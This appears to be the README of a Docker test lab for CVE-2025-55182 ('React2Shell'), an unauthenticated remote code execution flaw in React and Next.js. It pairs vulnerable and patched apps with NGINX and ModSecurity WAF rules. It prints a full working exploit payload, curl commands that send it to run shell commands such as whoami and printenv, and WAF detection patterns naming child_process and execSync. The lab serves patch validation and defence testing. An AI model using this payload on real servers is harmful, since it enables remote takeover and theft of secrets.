CVE-2025-55182 (React2Shell) Test

⚠️ Warning: Contains a working remote code execution (RCE) vulnerability.

📋 Table of Contents

• Overview
• Vulnerability Information
• Quick Start
• Actual Attack Demonstration
• Test Environment
• WAF Defense Rules
• File Structure
• References
• Legal Notice

---

Overview

Container test environment for the CVE-2025-55182 (React2Shell) vulnerability.

Key Features

• ✅ Actual Vulnerability Reproduction - React 19.1.0 / Next.js 15.1.0 environment
• ✅ RCE Attack Success - Confirmed real command execution
• ✅ WAF Defense Testing - NGINX and Apache ModSecurity rule configuration
• ✅ Patched Version Comparison - Vulnerable vs. patched version testing
• ✅ Complete Docker Environment - Isolated container environment

Attack Results

🔴 CRITICAL VULNERABILITY CONFIRMED!
   Successfully executed 6/7 commands

Executed Commands:
  ✅ whoami: root
  ✅ hostname: c89f1bd355b2
  ✅ pwd: /app
  ✅ id: uid=0(root) gid=0(root) groups=0(root)...
  ✅ uname: Linux c89f1bd355b2 6.6.87.2-microsoft-standard-WSL2...
  ✅ node-ver: v20.19.6

---

Vulnerability Information

CVE-2025-55182 (React2Shell)

CVSS Score: 10.0 (CRITICAL)
Impact: Remote Code Execution (RCE)
Authentication Required: None
Attack Vector: Network

Vulnerable Versions

• React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
• Next.js: < 15.0.5, < 15.1.9, < 15.2.6, < 15.3.6, < 15.4.8, < 15.5.7, < 16.0.7

Patched Versions

• React: 19.1.2+
• Next.js: 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+

Attack Principle

1. Prototype Pollution - Prototype pollution via $1:__proto__:then
2. Function Constructor Access - Access via Blob deserialization ($B prefix)
3. Arbitrary Code Execution - Function creation with attacker-controlled code
4. System Command Execution - RCE via child_process

// Attack payload structure
{
  "then": "$1:__proto__:then",           // Contaminate Object.prototype.then
  "status": "resolved_model",
  "reason": -1,
  "value": '{"then": "$B0"}',            // Trigger Blob deserialization
  "_response": {
    "_prefix": "malicious_code",         // Code to execute
    "_formData": {
      "get": "$1:constructor:constructor"  // Access Function constructor
    }
  }
}

---

Quick Start

Prerequisites

• Docker Desktop
• Node.js 20+ (for local testing, optional)
• Minimum 4GB RAM
• 2GB or more free disk space

Step 1: Start Environment

Windows (PowerShell):

PowerShell -ExecutionPolicy Bypass -File .\run-tests.ps1 start

Step 2: Check Status

.\run-tests.ps1 status

Wait until all containers are healthy (approximately 1-2 minutes).

Step 3: Execute Attack

Windows (PowerShell):

# Method 1: Use PowerShell script (recommended)
.\tests\exploit-working.ps1

# Method 2: Run Node.js directly
node tests\exploit-working.js

Step 4: Verify Results

Check command execution results in server logs:

docker compose logs vulnerable-app --tail=20

---

Attack Demonstration

Automated Attack Script

exploit-working.js ⭐ Recommended

Windows:

# PowerShell script (recommended)
.\tests\exploit-working.ps1

# Or run Node.js directly
node tests\exploit-working.js

Execution Details:

• ✅ Execute arbitrary shell commands
• ✅ Capture command output in server logs
• ✅ Automatically test multiple commands
• ✅ Provide detailed vulnerability report

Commands Tested:

• whoami - Current user (root)
• hostname - Container hostname
• pwd - Working directory (/app)
• id - Full user information
• uname -a - System information
• node --version - Node.js version

Manual Attack

Direct Attack Using curl

# Create payload file
cat > payload.txt << 'EOF'
------WebKitFormBoundary123
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"console.log('[EXPLOIT] RCE Success');const result=require('child_process').execSync('whoami').toString();console.log('[RESULT]',result);","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary123
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundary123--
EOF

# Send attack
curl -X POST http://localhost:3000/ \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123" \
  -H "Next-Action: exploit" \
  --data-binary @payload.txt

# Check log execution
docker compose logs vulnerable-app --tail=20 | grep -E "\[EXPLOIT\]|\[RESULT\]"

Custom Command Execution

Modify the attack script to execute desired commands:

// In exploit-working.js:
const tests = [
  { name: 'custom', cmd: 'ls -la /app', desc: 'Application directory listing' },
  { name: 'env', cmd: 'printenv', desc: 'Print environment variables' }
]

---

Test Environment

Docker Containers

Port	Service	React Version	Purpose	WAF Status
3000	vulnerable-app	19.1.0	Vulnerable - CVE-2025-55182 test	❌ No protection
3001	patched-app	19.1.2	Safe - Patch validation	✅ Patched
8080	nginx → vulnerable	19.1.0	WAF test (NGINX)	⚠️ Limited (no body inspection)
8081	apache → vulnerable	19.1.0	WAF test (ModSecurity)	⚠️ Limited (405 response)
8082	nginx → patched	19.1.2	Dual protection test	✅ Patched

Application Environment

• Framework: Next.js 15.1.0 (App Router)
• React Version: 19.1.0 (vulnerable)
• Node.js: 20.19.6

Test Scenarios

Scenario 1: Attack Vulnerable Version

# Run working exploit
node tests/exploit-working.js

# Expected result: Command execution successful
# Output: User information, system details, etc.

Scenario 2: Test Patched Version

Windows (PowerShell):

# Use PowerShell script
.\tests\exploit-working.ps1 -Port 3001

Expected result: Attack fails (React 19.1.2 blocks the attack)

Scenario 3: WAF Block Test

Windows (PowerShell):

# Attempt attack through NGINX WAF
.\tests\exploit-working.ps1 -Port 8080

Expected result: Blocked by WAF rules

---

WAF Defense Rules

NGINX Defense Rules

Location: nginx/nginx.conf

Detection Patterns:

1. Prototype Pollution - __proto__, constructor:constructor
2. Flight Protocol Exploitation - $X:__proto__, $B references
3. Gadget Chain - child_process, execSync, require()
4. URL Encoding Bypass - %5f%5fproto%5f%5f
5. Suspicious Headers - Next-Action: #constructor

Blocking Action:

HTTP 403 Forbidden
{
  "error": "Request blocked by WAF",
  "protection": "CVE-2025-55182",
  "waf": "NGINX"
}

Apache ModSecurity Rules

Location: apache/modsecurity-rules.conf

Rule ID Range: 100001-100017

Key Rules:

• 100001: Detection of __proto__
• 100002: Constructor chain access
• 100003-100004: Flight protocol exploitation
• 100006-100007: Gadget chain patterns
• 100008-100011: RCE attempts (child_process, exec, spawn, require)
• 100015: Suspicious Next-Action header
• 100017: Anomaly score-based blocking

WAF Testing

# NGINX block test
curl -X POST http://localhost:8080/ \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"polluted": true}}'

# Expected response: HTTP 403

# ModSecurity block test
curl -X POST http://localhost:8081/ \
  -H "Next-Action: test#constructor" \
  -d '{"data": "test"}'

# Expected response: HTTP 403

Checking WAF Logs

# NGINX security log
docker compose exec nginx tail -f /var/log/nginx/security.log